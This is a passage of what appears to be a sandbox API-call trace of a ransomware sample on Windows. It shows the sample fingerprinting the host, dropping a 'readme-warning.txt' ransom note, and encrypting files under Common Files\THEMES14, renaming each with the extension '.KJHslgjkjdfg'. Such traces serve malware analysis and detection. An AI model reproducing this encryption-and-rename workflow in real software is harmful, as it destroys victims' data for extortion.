(hKey=0x9b6668) returned 1 [0175.089] GetProcessHeap () returned 0x990000 [0175.089] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0175.089] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0175.089] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0175.089] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.089] GetProcessHeap () returned 0x990000 [0175.089] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0175.089] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0175.089] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0175.089] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.089] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0175.089] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0175.089] RegCloseKey (hKey=0x12c) returned 0x0 [0175.089] GetProcessHeap () returned 0x990000 [0175.089] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0175.089] GetProcessHeap () returned 0x990000 [0175.089] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0175.090] GetProcessHeap () returned 0x990000 [0175.090] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0175.090] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0175.090] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0175.090] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.090] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0175.090] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0175.090] GetProcessHeap () returned 0x990000 [0175.090] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0175.090] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0175.090] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0175.090] GetProcessHeap () returned 0x990000 [0175.090] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0175.090] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\readme-warning.txt") returned 82 [0175.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0175.091] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0175.091] CloseHandle (hObject=0x12c) returned 1 [0175.092] GetProcessHeap () returned 0x990000 [0175.092] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fb9f0 | out: hHeap=0x990000) returned 1 [0175.092] GetProcessHeap () returned 0x990000 [0175.092] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0175.092] GetProcessHeap () returned 0x990000 [0175.092] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0175.092] GetProcessHeap () returned 0x990000 [0175.092] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0175.092] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0175.092] GetProcessHeap () returned 0x990000 [0175.092] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0175.092] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PIXEL", cAlternateFileName="")) returned 1 [0175.092] GetProcessHeap () returned 0x990000 [0175.092] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8c) returned 0x9b0940 [0175.092] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0175.094] GetProcessHeap () returned 0x990000 [0175.094] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0175.094] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0175.094] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a2e300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a2e300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd0e5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PIXEL.ELM", cAlternateFileName="")) returned 1 [0175.094] GetProcessHeap () returned 0x990000 [0175.094] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x28e) returned 0x9b1eb0 [0175.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0175.095] GetProcessHeap () returned 0x990000 [0175.095] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0175.095] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0175.095] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0175.095] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xb, lpOverlapped=0x0) returned 1 [0175.098] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.098] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.098] GetProcessHeap () returned 0x990000 [0175.098] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0175.098] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0175.098] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.098] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0175.098] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0175.098] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0175.098] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0175.098] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0175.098] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0175.098] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.098] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.098] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.099] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd0e5, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xd0e5, lpOverlapped=0x0) returned 1 [0175.100] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xd0f0, dwBufLen=0xd0f0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xd0f0) returned 1 [0175.101] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.101] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd0f0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xd0f0, lpOverlapped=0x0) returned 1 [0175.101] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.101] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xd1b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.101] SetEndOfFile (hFile=0x12c) returned 1 [0175.103] GetProcessHeap () returned 0x990000 [0175.103] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0175.103] GetProcessHeap () returned 0x990000 [0175.103] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0175.103] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm.kjhslgjkjdfg")) returned 1 [0175.104] CloseHandle (hObject=0x12c) returned 1 [0175.104] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x21b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PIXEL.INF", cAlternateFileName="")) returned 1 [0175.104] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0175.105] GetProcessHeap () returned 0x990000 [0175.105] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0175.105] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0175.105] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0175.105] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x5, lpOverlapped=0x0) returned 1 [0175.107] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.107] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.107] GetProcessHeap () returned 0x990000 [0175.107] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0175.107] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0175.107] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.107] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0175.107] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0175.107] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0175.107] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0175.108] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0175.108] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0175.108] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.108] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.108] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.108] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x21b, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x21b, lpOverlapped=0x0) returned 1 [0175.108] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x220, dwBufLen=0x220 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x220) returned 1 [0175.108] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.108] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x220, lpOverlapped=0x0) returned 1 [0175.108] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.108] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.109] SetEndOfFile (hFile=0x12c) returned 1 [0175.111] GetProcessHeap () returned 0x990000 [0175.111] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0175.111] GetProcessHeap () returned 0x990000 [0175.111] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0175.111] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf.kjhslgjkjdfg")) returned 1 [0175.132] CloseHandle (hObject=0x12c) returned 1 [0175.132] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x639, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0175.132] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0175.133] GetProcessHeap () returned 0x990000 [0175.133] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0175.133] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0175.133] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0175.133] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x7, lpOverlapped=0x0) returned 1 [0175.135] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.135] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.135] GetProcessHeap () returned 0x990000 [0175.135] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0175.136] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0175.136] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.136] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0175.136] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0175.136] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0175.136] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0175.136] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0175.136] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0175.136] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.136] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.136] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.136] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x639, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x639, lpOverlapped=0x0) returned 1 [0175.137] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x640, dwBufLen=0x640 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x640) returned 1 [0175.137] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.137] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x640, lpOverlapped=0x0) returned 1 [0175.137] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.137] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.137] SetEndOfFile (hFile=0x12c) returned 1 [0175.139] GetProcessHeap () returned 0x990000 [0175.139] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0175.139] GetProcessHeap () returned 0x990000 [0175.139] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0175.139] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.kjhslgjkjdfg")) returned 1 [0175.141] CloseHandle (hObject=0x12c) returned 1 [0175.141] FindNextFileW (in: 